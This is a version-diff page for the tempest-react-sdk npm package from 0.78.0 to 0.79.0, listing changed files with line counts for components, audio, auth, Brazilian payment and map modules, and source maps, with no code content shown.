tempest-react-sdk 0.78.0 → 0.79.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (1585) hide show
  1. package/README.md +6 -6
  2. package/bin/lib/openapi/generate.mjs +168 -64
  3. package/bin/lib/openapi/generate.pagination.test.mjs +3 -2
  4. package/bin/lib/openapi/generate.test.mjs +263 -1
  5. package/dist/access/Can.cjs.map +1 -1
  6. package/dist/access/Can.js.map +1 -1
  7. package/dist/access/access-control-context.cjs.map +1 -1
  8. package/dist/access/access-control-context.js.map +1 -1
  9. package/dist/access/create-role-access-control.cjs.map +1 -1
  10. package/dist/access/create-role-access-control.js.map +1 -1
  11. package/dist/access/permissions-from-token.cjs.map +1 -1
  12. package/dist/access/permissions-from-token.js.map +1 -1
  13. package/dist/access/use-can.cjs.map +1 -1
  14. package/dist/access/use-can.js.map +1 -1
  15. package/dist/app/AppProviders.cjs.map +1 -1
  16. package/dist/app/AppProviders.js.map +1 -1
  17. package/dist/audio/audio-bus.cjs.map +1 -1
  18. package/dist/audio/audio-bus.js.map +1 -1
  19. package/dist/audio/audio-output.cjs.map +1 -1
  20. package/dist/audio/audio-output.js.map +1 -1
  21. package/dist/audio/audio-player.cjs.map +1 -1
  22. package/dist/audio/audio-player.js.map +1 -1
  23. package/dist/audio/audio-recorder.cjs.map +1 -1
  24. package/dist/audio/audio-recorder.js.map +1 -1
  25. package/dist/audio/duration.cjs.map +1 -1
  26. package/dist/audio/duration.js.map +1 -1
  27. package/dist/audio/level-meter.cjs.map +1 -1
  28. package/dist/audio/level-meter.js.map +1 -1
  29. package/dist/audio/media-access.cjs.map +1 -1
  30. package/dist/audio/media-access.js.map +1 -1
  31. package/dist/audio/noise-floor.cjs.map +1 -1
  32. package/dist/audio/noise-floor.js.map +1 -1
  33. package/dist/audio/sfx-pool.cjs.map +1 -1
  34. package/dist/audio/sfx-pool.js.map +1 -1
  35. package/dist/audio/use-audio-bus.cjs.map +1 -1
  36. package/dist/audio/use-audio-bus.js.map +1 -1
  37. package/dist/audio/use-audio-recorder.cjs.map +1 -1
  38. package/dist/audio/use-audio-recorder.js.map +1 -1
  39. package/dist/audio/use-audio.cjs.map +1 -1
  40. package/dist/audio/use-audio.js.map +1 -1
  41. package/dist/audio/use-microphone.cjs +1 -1
  42. package/dist/audio/use-microphone.cjs.map +1 -1
  43. package/dist/audio/use-microphone.js +1 -5
  44. package/dist/audio/use-microphone.js.map +1 -1
  45. package/dist/audio/use-sfx-pool.cjs.map +1 -1
  46. package/dist/audio/use-sfx-pool.js.map +1 -1
  47. package/dist/audio/voice-activity.cjs.map +1 -1
  48. package/dist/audio/voice-activity.js.map +1 -1
  49. package/dist/audio/voice-chain-stages.cjs.map +1 -1
  50. package/dist/audio/voice-chain-stages.js.map +1 -1
  51. package/dist/audio/voice-chain.cjs.map +1 -1
  52. package/dist/audio/voice-chain.js.map +1 -1
  53. package/dist/audio/wav.cjs.map +1 -1
  54. package/dist/audio/wav.js.map +1 -1
  55. package/dist/auth/AuthGuard.cjs.map +1 -1
  56. package/dist/auth/AuthGuard.js.map +1 -1
  57. package/dist/auth/create-auth-store.cjs.map +1 -1
  58. package/dist/auth/create-auth-store.js.map +1 -1
  59. package/dist/auth/create-tempest-auth.cjs +1 -1
  60. package/dist/auth/create-tempest-auth.cjs.map +1 -1
  61. package/dist/auth/create-tempest-auth.js +1 -3
  62. package/dist/auth/create-tempest-auth.js.map +1 -1
  63. package/dist/auth/jwt.cjs.map +1 -1
  64. package/dist/auth/jwt.js.map +1 -1
  65. package/dist/auth/lazy-with-retry.cjs.map +1 -1
  66. package/dist/auth/lazy-with-retry.js.map +1 -1
  67. package/dist/auth/passkey.cjs.map +1 -1
  68. package/dist/auth/passkey.js.map +1 -1
  69. package/dist/auth/refresh-queue.cjs.map +1 -1
  70. package/dist/auth/refresh-queue.js.map +1 -1
  71. package/dist/auth/use-passkey.cjs +1 -1
  72. package/dist/auth/use-passkey.cjs.map +1 -1
  73. package/dist/auth/use-passkey.js +1 -1
  74. package/dist/auth/use-passkey.js.map +1 -1
  75. package/dist/br/BrazilMap.cjs.map +1 -1
  76. package/dist/br/BrazilMap.js.map +1 -1
  77. package/dist/br/BrazilMap.module.cjs.map +1 -1
  78. package/dist/br/BrazilMap.module.js.map +1 -1
  79. package/dist/br/BrazilStateCitySelect.cjs.map +1 -1
  80. package/dist/br/BrazilStateCitySelect.js.map +1 -1
  81. package/dist/br/BrazilStateMap.cjs.map +1 -1
  82. package/dist/br/BrazilStateMap.js.map +1 -1
  83. package/dist/br/MapLegend.cjs.map +1 -1
  84. package/dist/br/MapLegend.js.map +1 -1
  85. package/dist/br/MapLegend.module.cjs.map +1 -1
  86. package/dist/br/MapLegend.module.js.map +1 -1
  87. package/dist/br/MapMarkers.cjs.map +1 -1
  88. package/dist/br/MapMarkers.js.map +1 -1
  89. package/dist/br/MapTooltip.cjs.map +1 -1
  90. package/dist/br/MapTooltip.js.map +1 -1
  91. package/dist/br/MunicipalitySearch.cjs +1 -1
  92. package/dist/br/MunicipalitySearch.cjs.map +1 -1
  93. package/dist/br/MunicipalitySearch.js +2 -5
  94. package/dist/br/MunicipalitySearch.js.map +1 -1
  95. package/dist/br/MunicipalitySearch.module.cjs.map +1 -1
  96. package/dist/br/MunicipalitySearch.module.js.map +1 -1
  97. package/dist/br/PixQRCode.cjs.map +1 -1
  98. package/dist/br/PixQRCode.js.map +1 -1
  99. package/dist/br/PixQRCode.module.cjs.map +1 -1
  100. package/dist/br/PixQRCode.module.js.map +1 -1
  101. package/dist/br/boleto.cjs.map +1 -1
  102. package/dist/br/boleto.js.map +1 -1
  103. package/dist/br/br-geo.cjs.map +1 -1
  104. package/dist/br/br-geo.js.map +1 -1
  105. package/dist/br/data/br-centroids.cjs.map +1 -1
  106. package/dist/br/data/br-centroids.js.map +1 -1
  107. package/dist/br/data/br-locations.cjs.map +1 -1
  108. package/dist/br/data/br-locations.js.map +1 -1
  109. package/dist/br/data/br-uf-geo.cjs.map +1 -1
  110. package/dist/br/data/br-uf-geo.js.map +1 -1
  111. package/dist/br/data/mun/AC.cjs.map +1 -1
  112. package/dist/br/data/mun/AC.js.map +1 -1
  113. package/dist/br/data/mun/AL.cjs.map +1 -1
  114. package/dist/br/data/mun/AL.js.map +1 -1
  115. package/dist/br/data/mun/AM.cjs.map +1 -1
  116. package/dist/br/data/mun/AM.js.map +1 -1
  117. package/dist/br/data/mun/AP.cjs.map +1 -1
  118. package/dist/br/data/mun/AP.js.map +1 -1
  119. package/dist/br/data/mun/BA.cjs.map +1 -1
  120. package/dist/br/data/mun/BA.js.map +1 -1
  121. package/dist/br/data/mun/CE.cjs.map +1 -1
  122. package/dist/br/data/mun/CE.js.map +1 -1
  123. package/dist/br/data/mun/DF.cjs.map +1 -1
  124. package/dist/br/data/mun/DF.js.map +1 -1
  125. package/dist/br/data/mun/ES.cjs.map +1 -1
  126. package/dist/br/data/mun/ES.js.map +1 -1
  127. package/dist/br/data/mun/GO.cjs.map +1 -1
  128. package/dist/br/data/mun/GO.js.map +1 -1
  129. package/dist/br/data/mun/MA.cjs.map +1 -1
  130. package/dist/br/data/mun/MA.js.map +1 -1
  131. package/dist/br/data/mun/MG.cjs.map +1 -1
  132. package/dist/br/data/mun/MG.js.map +1 -1
  133. package/dist/br/data/mun/MS.cjs.map +1 -1
  134. package/dist/br/data/mun/MS.js.map +1 -1
  135. package/dist/br/data/mun/MT.cjs.map +1 -1
  136. package/dist/br/data/mun/MT.js.map +1 -1
  137. package/dist/br/data/mun/PA.cjs.map +1 -1
  138. package/dist/br/data/mun/PA.js.map +1 -1
  139. package/dist/br/data/mun/PB.cjs.map +1 -1
  140. package/dist/br/data/mun/PB.js.map +1 -1
  141. package/dist/br/data/mun/PE.cjs.map +1 -1
  142. package/dist/br/data/mun/PE.js.map +1 -1
  143. package/dist/br/data/mun/PI.cjs.map +1 -1
  144. package/dist/br/data/mun/PI.js.map +1 -1
  145. package/dist/br/data/mun/PR.cjs.map +1 -1
  146. package/dist/br/data/mun/PR.js.map +1 -1
  147. package/dist/br/data/mun/RJ.cjs.map +1 -1
  148. package/dist/br/data/mun/RJ.js.map +1 -1
  149. package/dist/br/data/mun/RN.cjs.map +1 -1
  150. package/dist/br/data/mun/RN.js.map +1 -1
  151. package/dist/br/data/mun/RO.cjs.map +1 -1
  152. package/dist/br/data/mun/RO.js.map +1 -1
  153. package/dist/br/data/mun/RR.cjs.map +1 -1
  154. package/dist/br/data/mun/RR.js.map +1 -1
  155. package/dist/br/data/mun/RS.cjs.map +1 -1
  156. package/dist/br/data/mun/RS.js.map +1 -1
  157. package/dist/br/data/mun/SC.cjs.map +1 -1
  158. package/dist/br/data/mun/SC.js.map +1 -1
  159. package/dist/br/data/mun/SE.cjs.map +1 -1
  160. package/dist/br/data/mun/SE.js.map +1 -1
  161. package/dist/br/data/mun/SP.cjs.map +1 -1
  162. package/dist/br/data/mun/SP.js.map +1 -1
  163. package/dist/br/data/mun/TO.cjs.map +1 -1
  164. package/dist/br/data/mun/TO.js.map +1 -1
  165. package/dist/br/geocode.cjs.map +1 -1
  166. package/dist/br/geocode.js.map +1 -1
  167. package/dist/br/holidays.cjs.map +1 -1
  168. package/dist/br/holidays.js.map +1 -1
  169. package/dist/br/locations.cjs.map +1 -1
  170. package/dist/br/locations.js.map +1 -1
  171. package/dist/br/nfe.cjs.map +1 -1
  172. package/dist/br/nfe.js.map +1 -1
  173. package/dist/br/pix.cjs +1 -1
  174. package/dist/br/pix.cjs.map +1 -1
  175. package/dist/br/pix.js +108 -74
  176. package/dist/br/pix.js.map +1 -1
  177. package/dist/br/regions.cjs.map +1 -1
  178. package/dist/br/regions.js.map +1 -1
  179. package/dist/br/scales.cjs.map +1 -1
  180. package/dist/br/scales.js.map +1 -1
  181. package/dist/br/state-geo.cjs.map +1 -1
  182. package/dist/br/state-geo.js.map +1 -1
  183. package/dist/br/svg-utils.cjs.map +1 -1
  184. package/dist/br/svg-utils.js.map +1 -1
  185. package/dist/br/use-map-hover.cjs.map +1 -1
  186. package/dist/br/use-map-hover.js.map +1 -1
  187. package/dist/br/use-map-zoom.cjs.map +1 -1
  188. package/dist/br/use-map-zoom.js.map +1 -1
  189. package/dist/br/whatsapp.cjs.map +1 -1
  190. package/dist/br/whatsapp.js.map +1 -1
  191. package/dist/br.cjs.map +1 -1
  192. package/dist/br.d.ts +6 -2
  193. package/dist/br.js.map +1 -1
  194. package/dist/capture/barcode.cjs.map +1 -1
  195. package/dist/capture/barcode.js.map +1 -1
  196. package/dist/capture/media-recorder.cjs.map +1 -1
  197. package/dist/capture/media-recorder.js.map +1 -1
  198. package/dist/capture/use-barcode-scanner.cjs.map +1 -1
  199. package/dist/capture/use-barcode-scanner.js.map +1 -1
  200. package/dist/capture/use-screen-capture.cjs +1 -1
  201. package/dist/capture/use-screen-capture.cjs.map +1 -1
  202. package/dist/capture/use-screen-capture.js +1 -7
  203. package/dist/capture/use-screen-capture.js.map +1 -1
  204. package/dist/capture/use-speech-recognition.cjs +1 -1
  205. package/dist/capture/use-speech-recognition.cjs.map +1 -1
  206. package/dist/capture/use-speech-recognition.js +35 -36
  207. package/dist/capture/use-speech-recognition.js.map +1 -1
  208. package/dist/capture/use-torch.cjs.map +1 -1
  209. package/dist/capture/use-torch.js.map +1 -1
  210. package/dist/capture/use-video-recorder.cjs.map +1 -1
  211. package/dist/capture/use-video-recorder.js.map +1 -1
  212. package/dist/capture/video-recorder.cjs.map +1 -1
  213. package/dist/capture/video-recorder.js.map +1 -1
  214. package/dist/charts/AreaChart.cjs.map +1 -1
  215. package/dist/charts/AreaChart.js.map +1 -1
  216. package/dist/charts/BarChart.cjs.map +1 -1
  217. package/dist/charts/BarChart.js.map +1 -1
  218. package/dist/charts/LineChart.cjs.map +1 -1
  219. package/dist/charts/LineChart.js.map +1 -1
  220. package/dist/charts/PieChart.cjs.map +1 -1
  221. package/dist/charts/PieChart.js.map +1 -1
  222. package/dist/charts/RadarChart.cjs.map +1 -1
  223. package/dist/charts/RadarChart.js.map +1 -1
  224. package/dist/charts/palette.cjs.map +1 -1
  225. package/dist/charts/palette.js.map +1 -1
  226. package/dist/charts/scales.cjs.map +1 -1
  227. package/dist/charts/scales.js.map +1 -1
  228. package/dist/charts/types.cjs.map +1 -1
  229. package/dist/charts/types.js.map +1 -1
  230. package/dist/charts/use-chart-colors.cjs.map +1 -1
  231. package/dist/charts/use-chart-colors.js.map +1 -1
  232. package/dist/components/AIChat/AIChat.cjs +1 -1
  233. package/dist/components/AIChat/AIChat.cjs.map +1 -1
  234. package/dist/components/AIChat/AIChat.js +1 -5
  235. package/dist/components/AIChat/AIChat.js.map +1 -1
  236. package/dist/components/AIChat/AIChat.module.cjs.map +1 -1
  237. package/dist/components/AIChat/AIChat.module.js.map +1 -1
  238. package/dist/components/AIChat/AIChatComposer.cjs +1 -1
  239. package/dist/components/AIChat/AIChatComposer.cjs.map +1 -1
  240. package/dist/components/AIChat/AIChatComposer.js +1 -7
  241. package/dist/components/AIChat/AIChatComposer.js.map +1 -1
  242. package/dist/components/AIChat/AIChatTurn.cjs.map +1 -1
  243. package/dist/components/AIChat/AIChatTurn.js.map +1 -1
  244. package/dist/components/AIChat/ai-chat-turns.cjs.map +1 -1
  245. package/dist/components/AIChat/ai-chat-turns.js.map +1 -1
  246. package/dist/components/Accordion/Accordion.cjs.map +1 -1
  247. package/dist/components/Accordion/Accordion.js.map +1 -1
  248. package/dist/components/Accordion/Accordion.module.cjs.map +1 -1
  249. package/dist/components/Accordion/Accordion.module.js.map +1 -1
  250. package/dist/components/Alert/Alert.cjs.map +1 -1
  251. package/dist/components/Alert/Alert.js.map +1 -1
  252. package/dist/components/Alert/Alert.module.cjs.map +1 -1
  253. package/dist/components/Alert/Alert.module.js.map +1 -1
  254. package/dist/components/AppBar/AppBar.cjs.map +1 -1
  255. package/dist/components/AppBar/AppBar.js.map +1 -1
  256. package/dist/components/AppBar/AppBar.module.cjs.map +1 -1
  257. package/dist/components/AppBar/AppBar.module.js.map +1 -1
  258. package/dist/components/AppBar/use-sticky-body-warning.cjs +1 -1
  259. package/dist/components/AppBar/use-sticky-body-warning.cjs.map +1 -1
  260. package/dist/components/AppBar/use-sticky-body-warning.js +1 -1
  261. package/dist/components/AppBar/use-sticky-body-warning.js.map +1 -1
  262. package/dist/components/AppShell/AppShell.cjs.map +1 -1
  263. package/dist/components/AppShell/AppShell.js.map +1 -1
  264. package/dist/components/AppShell/AppShell.module.cjs.map +1 -1
  265. package/dist/components/AppShell/AppShell.module.js.map +1 -1
  266. package/dist/components/AspectRatio/AspectRatio.cjs.map +1 -1
  267. package/dist/components/AspectRatio/AspectRatio.js.map +1 -1
  268. package/dist/components/AspectRatio/AspectRatio.module.cjs.map +1 -1
  269. package/dist/components/AspectRatio/AspectRatio.module.js.map +1 -1
  270. package/dist/components/AudioPlayer/AudioPlayer.cjs +1 -1
  271. package/dist/components/AudioPlayer/AudioPlayer.cjs.map +1 -1
  272. package/dist/components/AudioPlayer/AudioPlayer.js +1 -7
  273. package/dist/components/AudioPlayer/AudioPlayer.js.map +1 -1
  274. package/dist/components/AudioPlayer/AudioPlayer.module.cjs.map +1 -1
  275. package/dist/components/AudioPlayer/AudioPlayer.module.js.map +1 -1
  276. package/dist/components/AudioRecorder/AudioRecorder.cjs +1 -1
  277. package/dist/components/AudioRecorder/AudioRecorder.cjs.map +1 -1
  278. package/dist/components/AudioRecorder/AudioRecorder.js +16 -21
  279. package/dist/components/AudioRecorder/AudioRecorder.js.map +1 -1
  280. package/dist/components/AudioRecorder/AudioRecorder.module.cjs.map +1 -1
  281. package/dist/components/AudioRecorder/AudioRecorder.module.js.map +1 -1
  282. package/dist/components/Avatar/Avatar.cjs.map +1 -1
  283. package/dist/components/Avatar/Avatar.js.map +1 -1
  284. package/dist/components/Avatar/Avatar.module.cjs.map +1 -1
  285. package/dist/components/Avatar/Avatar.module.js.map +1 -1
  286. package/dist/components/AvatarGroup/AvatarGroup.cjs.map +1 -1
  287. package/dist/components/AvatarGroup/AvatarGroup.js.map +1 -1
  288. package/dist/components/AvatarGroup/AvatarGroup.module.cjs.map +1 -1
  289. package/dist/components/AvatarGroup/AvatarGroup.module.js.map +1 -1
  290. package/dist/components/Badge/Badge.cjs.map +1 -1
  291. package/dist/components/Badge/Badge.js.map +1 -1
  292. package/dist/components/Badge/Badge.module.cjs.map +1 -1
  293. package/dist/components/Badge/Badge.module.js.map +1 -1
  294. package/dist/components/Banner/Banner.cjs.map +1 -1
  295. package/dist/components/Banner/Banner.js.map +1 -1
  296. package/dist/components/Banner/Banner.module.cjs.map +1 -1
  297. package/dist/components/Banner/Banner.module.js.map +1 -1
  298. package/dist/components/BarList/BarList.cjs.map +1 -1
  299. package/dist/components/BarList/BarList.js.map +1 -1
  300. package/dist/components/BarList/BarList.module.cjs.map +1 -1
  301. package/dist/components/BarList/BarList.module.js.map +1 -1
  302. package/dist/components/BarList/bar-list-model.cjs.map +1 -1
  303. package/dist/components/BarList/bar-list-model.js.map +1 -1
  304. package/dist/components/BarcodeScanner/BarcodeScanner.cjs.map +1 -1
  305. package/dist/components/BarcodeScanner/BarcodeScanner.js.map +1 -1
  306. package/dist/components/BarcodeScanner/BarcodeScanner.module.cjs.map +1 -1
  307. package/dist/components/BarcodeScanner/BarcodeScanner.module.js.map +1 -1
  308. package/dist/components/BottomNavigation/BottomNavigation.cjs.map +1 -1
  309. package/dist/components/BottomNavigation/BottomNavigation.js.map +1 -1
  310. package/dist/components/BottomNavigation/BottomNavigation.module.cjs.map +1 -1
  311. package/dist/components/BottomNavigation/BottomNavigation.module.js.map +1 -1
  312. package/dist/components/BottomSheet/BottomSheet.cjs.map +1 -1
  313. package/dist/components/BottomSheet/BottomSheet.js.map +1 -1
  314. package/dist/components/BottomSheet/BottomSheet.module.cjs.map +1 -1
  315. package/dist/components/BottomSheet/BottomSheet.module.js.map +1 -1
  316. package/dist/components/Breadcrumbs/Breadcrumbs.cjs.map +1 -1
  317. package/dist/components/Breadcrumbs/Breadcrumbs.js.map +1 -1
  318. package/dist/components/Breadcrumbs/Breadcrumbs.module.cjs.map +1 -1
  319. package/dist/components/Breadcrumbs/Breadcrumbs.module.js.map +1 -1
  320. package/dist/components/Button/Button.cjs.map +1 -1
  321. package/dist/components/Button/Button.js.map +1 -1
  322. package/dist/components/Button/Button.module.cjs.map +1 -1
  323. package/dist/components/Button/Button.module.js.map +1 -1
  324. package/dist/components/Button/ButtonContent.cjs.map +1 -1
  325. package/dist/components/Button/ButtonContent.js.map +1 -1
  326. package/dist/components/Button/ButtonSlot.cjs.map +1 -1
  327. package/dist/components/Button/ButtonSlot.js.map +1 -1
  328. package/dist/components/Button/button-class.cjs.map +1 -1
  329. package/dist/components/Button/button-class.js.map +1 -1
  330. package/dist/components/Button/link-rel.cjs.map +1 -1
  331. package/dist/components/Button/link-rel.js.map +1 -1
  332. package/dist/components/Button/slot.cjs.map +1 -1
  333. package/dist/components/Button/slot.js.map +1 -1
  334. package/dist/components/Calendar/Calendar.cjs.map +1 -1
  335. package/dist/components/Calendar/Calendar.js.map +1 -1
  336. package/dist/components/Calendar/Calendar.module.cjs.map +1 -1
  337. package/dist/components/Calendar/Calendar.module.js.map +1 -1
  338. package/dist/components/Card/Card.cjs.map +1 -1
  339. package/dist/components/Card/Card.js.map +1 -1
  340. package/dist/components/Card/Card.module.cjs.map +1 -1
  341. package/dist/components/Card/Card.module.js.map +1 -1
  342. package/dist/components/Carousel/Carousel.cjs.map +1 -1
  343. package/dist/components/Carousel/Carousel.js.map +1 -1
  344. package/dist/components/Carousel/Carousel.module.cjs.map +1 -1
  345. package/dist/components/Carousel/Carousel.module.js.map +1 -1
  346. package/dist/components/Center/Center.cjs.map +1 -1
  347. package/dist/components/Center/Center.js.map +1 -1
  348. package/dist/components/Center/Center.module.cjs.map +1 -1
  349. package/dist/components/Center/Center.module.js.map +1 -1
  350. package/dist/components/Chat/Chat.cjs.map +1 -1
  351. package/dist/components/Chat/Chat.js.map +1 -1
  352. package/dist/components/Chat/Chat.module.cjs.map +1 -1
  353. package/dist/components/Chat/Chat.module.js.map +1 -1
  354. package/dist/components/Chat/ChatActionsMenu.cjs.map +1 -1
  355. package/dist/components/Chat/ChatActionsMenu.js.map +1 -1
  356. package/dist/components/Chat/ChatAttachments.cjs.map +1 -1
  357. package/dist/components/Chat/ChatAttachments.js.map +1 -1
  358. package/dist/components/Chat/ChatBubble.cjs.map +1 -1
  359. package/dist/components/Chat/ChatBubble.js.map +1 -1
  360. package/dist/components/Chat/ChatComposer.cjs.map +1 -1
  361. package/dist/components/Chat/ChatComposer.js.map +1 -1
  362. package/dist/components/Chat/chat-groups.cjs +1 -1
  363. package/dist/components/Chat/chat-groups.cjs.map +1 -1
  364. package/dist/components/Chat/chat-groups.js +2 -6
  365. package/dist/components/Chat/chat-groups.js.map +1 -1
  366. package/dist/components/Chat/chat-receipt.cjs.map +1 -1
  367. package/dist/components/Chat/chat-receipt.js.map +1 -1
  368. package/dist/components/Checkbox/Checkbox.cjs.map +1 -1
  369. package/dist/components/Checkbox/Checkbox.js.map +1 -1
  370. package/dist/components/Checkbox/Checkbox.module.cjs.map +1 -1
  371. package/dist/components/Checkbox/Checkbox.module.js.map +1 -1
  372. package/dist/components/ChipInput/ChipInput.cjs +1 -1
  373. package/dist/components/ChipInput/ChipInput.cjs.map +1 -1
  374. package/dist/components/ChipInput/ChipInput.js +2 -12
  375. package/dist/components/ChipInput/ChipInput.js.map +1 -1
  376. package/dist/components/ChipInput/ChipInput.module.cjs.map +1 -1
  377. package/dist/components/ChipInput/ChipInput.module.js.map +1 -1
  378. package/dist/components/ClickOutside/ClickOutside.cjs.map +1 -1
  379. package/dist/components/ClickOutside/ClickOutside.js.map +1 -1
  380. package/dist/components/CodeBlock/CodeBlock.cjs.map +1 -1
  381. package/dist/components/CodeBlock/CodeBlock.js.map +1 -1
  382. package/dist/components/CodeBlock/CodeBlock.module.cjs.map +1 -1
  383. package/dist/components/CodeBlock/CodeBlock.module.js.map +1 -1
  384. package/dist/components/CodeBlock/tokenize.cjs.map +1 -1
  385. package/dist/components/CodeBlock/tokenize.js.map +1 -1
  386. package/dist/components/Collapsible/Collapsible.cjs.map +1 -1
  387. package/dist/components/Collapsible/Collapsible.js.map +1 -1
  388. package/dist/components/Collapsible/Collapsible.module.cjs.map +1 -1
  389. package/dist/components/Collapsible/Collapsible.module.js.map +1 -1
  390. package/dist/components/Combobox/Combobox.cjs.map +1 -1
  391. package/dist/components/Combobox/Combobox.js.map +1 -1
  392. package/dist/components/Combobox/Combobox.module.cjs.map +1 -1
  393. package/dist/components/Combobox/Combobox.module.js.map +1 -1
  394. package/dist/components/Combobox/use-listbox-dismiss.cjs.map +1 -1
  395. package/dist/components/Combobox/use-listbox-dismiss.js.map +1 -1
  396. package/dist/components/Command/Command.cjs +1 -1
  397. package/dist/components/Command/Command.cjs.map +1 -1
  398. package/dist/components/Command/Command.js +4 -11
  399. package/dist/components/Command/Command.js.map +1 -1
  400. package/dist/components/Command/Command.module.cjs.map +1 -1
  401. package/dist/components/Command/Command.module.js.map +1 -1
  402. package/dist/components/ConditionalWrapper/ConditionalWrapper.cjs.map +1 -1
  403. package/dist/components/ConditionalWrapper/ConditionalWrapper.js.map +1 -1
  404. package/dist/components/ConfirmDialog/ConfirmDialog.cjs.map +1 -1
  405. package/dist/components/ConfirmDialog/ConfirmDialog.js.map +1 -1
  406. package/dist/components/ContextMenu/ContextMenu.cjs +1 -1
  407. package/dist/components/ContextMenu/ContextMenu.cjs.map +1 -1
  408. package/dist/components/ContextMenu/ContextMenu.js +1 -1
  409. package/dist/components/ContextMenu/ContextMenu.js.map +1 -1
  410. package/dist/components/ContextMenu/ContextMenu.module.cjs.map +1 -1
  411. package/dist/components/ContextMenu/ContextMenu.module.js.map +1 -1
  412. package/dist/components/CopyButton/CopyButton.cjs.map +1 -1
  413. package/dist/components/CopyButton/CopyButton.js.map +1 -1
  414. package/dist/components/CopyButton/CopyButton.module.cjs.map +1 -1
  415. package/dist/components/CopyButton/CopyButton.module.js.map +1 -1
  416. package/dist/components/DataList/DataList.cjs.map +1 -1
  417. package/dist/components/DataList/DataList.js.map +1 -1
  418. package/dist/components/DataList/DataList.module.cjs.map +1 -1
  419. package/dist/components/DataList/DataList.module.js.map +1 -1
  420. package/dist/components/DataTable/DataTable.cjs +1 -1
  421. package/dist/components/DataTable/DataTable.cjs.map +1 -1
  422. package/dist/components/DataTable/DataTable.js +6 -14
  423. package/dist/components/DataTable/DataTable.js.map +1 -1
  424. package/dist/components/DataTable/DataTable.module.cjs.map +1 -1
  425. package/dist/components/DataTable/DataTable.module.js.map +1 -1
  426. package/dist/components/DataTable/EditableCell.cjs +1 -1
  427. package/dist/components/DataTable/EditableCell.cjs.map +1 -1
  428. package/dist/components/DataTable/EditableCell.js +1 -9
  429. package/dist/components/DataTable/EditableCell.js.map +1 -1
  430. package/dist/components/DataTable/LoadingRows.cjs.map +1 -1
  431. package/dist/components/DataTable/LoadingRows.js.map +1 -1
  432. package/dist/components/DataTable/edit-labels.cjs.map +1 -1
  433. package/dist/components/DataTable/edit-labels.js.map +1 -1
  434. package/dist/components/DataTable/use-dev-warnings.cjs.map +1 -1
  435. package/dist/components/DataTable/use-dev-warnings.js.map +1 -1
  436. package/dist/components/DatePicker/DatePicker.cjs.map +1 -1
  437. package/dist/components/DatePicker/DatePicker.js.map +1 -1
  438. package/dist/components/DateRangePicker/DateRangePicker.cjs.map +1 -1
  439. package/dist/components/DateRangePicker/DateRangePicker.js.map +1 -1
  440. package/dist/components/DateRangePicker/DateRangePicker.module.cjs.map +1 -1
  441. package/dist/components/DateRangePicker/DateRangePicker.module.js.map +1 -1
  442. package/dist/components/DescriptionList/DescriptionList.cjs.map +1 -1
  443. package/dist/components/DescriptionList/DescriptionList.js.map +1 -1
  444. package/dist/components/DescriptionList/DescriptionList.module.cjs.map +1 -1
  445. package/dist/components/DescriptionList/DescriptionList.module.js.map +1 -1
  446. package/dist/components/Divider/Divider.cjs.map +1 -1
  447. package/dist/components/Divider/Divider.js.map +1 -1
  448. package/dist/components/Divider/Divider.module.cjs.map +1 -1
  449. package/dist/components/Divider/Divider.module.js.map +1 -1
  450. package/dist/components/Drawer/Drawer.cjs.map +1 -1
  451. package/dist/components/Drawer/Drawer.js.map +1 -1
  452. package/dist/components/Drawer/Drawer.module.cjs.map +1 -1
  453. package/dist/components/Drawer/Drawer.module.js.map +1 -1
  454. package/dist/components/DropdownMenu/DropdownMenu.cjs +1 -1
  455. package/dist/components/DropdownMenu/DropdownMenu.cjs.map +1 -1
  456. package/dist/components/DropdownMenu/DropdownMenu.js +2 -14
  457. package/dist/components/DropdownMenu/DropdownMenu.js.map +1 -1
  458. package/dist/components/DropdownMenu/DropdownMenu.module.cjs.map +1 -1
  459. package/dist/components/DropdownMenu/DropdownMenu.module.js.map +1 -1
  460. package/dist/components/Dropzone/Dropzone.cjs.map +1 -1
  461. package/dist/components/Dropzone/Dropzone.js.map +1 -1
  462. package/dist/components/Dropzone/Dropzone.module.cjs.map +1 -1
  463. package/dist/components/Dropzone/Dropzone.module.js.map +1 -1
  464. package/dist/components/EmptyState/EmptyState.cjs.map +1 -1
  465. package/dist/components/EmptyState/EmptyState.js.map +1 -1
  466. package/dist/components/EmptyState/EmptyState.module.cjs.map +1 -1
  467. package/dist/components/EmptyState/EmptyState.module.js.map +1 -1
  468. package/dist/components/ErrorState/ErrorState.cjs.map +1 -1
  469. package/dist/components/ErrorState/ErrorState.js.map +1 -1
  470. package/dist/components/ErrorState/ErrorState.module.cjs.map +1 -1
  471. package/dist/components/ErrorState/ErrorState.module.js.map +1 -1
  472. package/dist/components/ErrorText/ErrorText.cjs.map +1 -1
  473. package/dist/components/ErrorText/ErrorText.js.map +1 -1
  474. package/dist/components/ErrorText/ErrorText.module.cjs.map +1 -1
  475. package/dist/components/ErrorText/ErrorText.module.js.map +1 -1
  476. package/dist/components/FileUpload/FileUpload.cjs +1 -1
  477. package/dist/components/FileUpload/FileUpload.cjs.map +1 -1
  478. package/dist/components/FileUpload/FileUpload.js +7 -17
  479. package/dist/components/FileUpload/FileUpload.js.map +1 -1
  480. package/dist/components/FileUpload/FileUpload.module.cjs.map +1 -1
  481. package/dist/components/FileUpload/FileUpload.module.js.map +1 -1
  482. package/dist/components/FilterBar/FilterBar.cjs.map +1 -1
  483. package/dist/components/FilterBar/FilterBar.js.map +1 -1
  484. package/dist/components/FilterBar/FilterBar.module.cjs.map +1 -1
  485. package/dist/components/FilterBar/FilterBar.module.js.map +1 -1
  486. package/dist/components/FilterBar/filter-apply.cjs.map +1 -1
  487. package/dist/components/FilterBar/filter-apply.js.map +1 -1
  488. package/dist/components/FilterBar/filter-model.cjs.map +1 -1
  489. package/dist/components/FilterBar/filter-model.js.map +1 -1
  490. package/dist/components/FilterBar/filter-query.cjs +1 -1
  491. package/dist/components/FilterBar/filter-query.cjs.map +1 -1
  492. package/dist/components/FilterBar/filter-query.js +2 -5
  493. package/dist/components/FilterBar/filter-query.js.map +1 -1
  494. package/dist/components/FilterPanel/FilterPanel.cjs.map +1 -1
  495. package/dist/components/FilterPanel/FilterPanel.js.map +1 -1
  496. package/dist/components/FilterPanel/FilterPanel.module.cjs.map +1 -1
  497. package/dist/components/FilterPanel/FilterPanel.module.js.map +1 -1
  498. package/dist/components/FloatingActionButton/FloatingActionButton.cjs.map +1 -1
  499. package/dist/components/FloatingActionButton/FloatingActionButton.js.map +1 -1
